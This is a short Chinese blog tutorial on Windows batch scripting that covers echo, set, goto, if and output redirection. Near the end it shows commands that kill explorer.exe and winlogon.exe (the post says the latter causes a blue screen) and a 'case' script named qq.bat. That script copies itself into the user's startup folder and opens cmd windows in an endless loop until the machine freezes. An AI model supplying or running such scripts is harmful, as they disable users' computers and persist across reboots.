批处理

1.1批处理作用

自上而下成批的处理每一条命令,直到执行最后一条

1.2如何创建批处理

扩展名:.bat

创建方法:新建一个记事本文件,然后将扩展名改为.bat

1.3批处理基本语法

1.3.1@echo off

作用:关闭回显过程,也就是屏蔽过程,建议放置在批处理的首行。

1.3.2 pause

作用:暂停批处理运行

1.3.3 title

作用:为批处理脚本设置标题

1.3.4  echo.

作用:在执行批处理脚本时,可以空一行

1.3.5  set

作用:设置变量

set a=9    //直接给a赋值为9

set /p time=请输入时间:  //用户输入来给time赋值

set /a  后边可以进行数学计算

引用变量的值:

  %time%    //将time表示的值调出来

1.3.6  :和goto

:定义标签名

goto实现跳转

当程序运行到goto时,将自动跳转到:定义的标签部分去执行命令块

1.3.7  if语句

和c语言几乎一样

1.3.8

d: 1>nul 2>nul

这条命令的意思是,当成功进入d盘时,什么也不显示,当失败进入d盘时,什么也不显示

1>nul 意思是不显示命令运行的正确提示

2>nul 意思是不显示命令运行的错误提示

如果两个都有的话,就是不管运行正确还是错误都什么都不显示

>是重定向符号

nul是空设备的意思

把提示输入到空设备就是不显示了

1.3.9

taskkill   /im   explorer.exe    /f   >nul   2>nul

作用:杀死进程的命令,explorer.exe是桌面的应用,杀死后,桌面消失

start  c:\windows\explorer.exe        可以重新开启explorer.exe进程

1.3.10

ntsd  -c  q  -pn  winlogon.exe

杀死登陆程序,但运行该脚本时已经登陆成功,此时杀死会让系统陷入矛盾,几秒的延迟后,会蓝屏(限xp,2003)

 

案例1

将批处理文件命名为qq.bat,写入以下代码

copy qq.bat "%userprofile%"+启动文件夹路径

:d

start

goto d

运行后,计算机会不停的打开cmd窗口,直到卡死,然后在此开机后,仍然会自动运行这个文件

 

 

posted @ 2020-03-03 18:00  ice--cream  阅读(279)  评论(0编辑  收藏  举报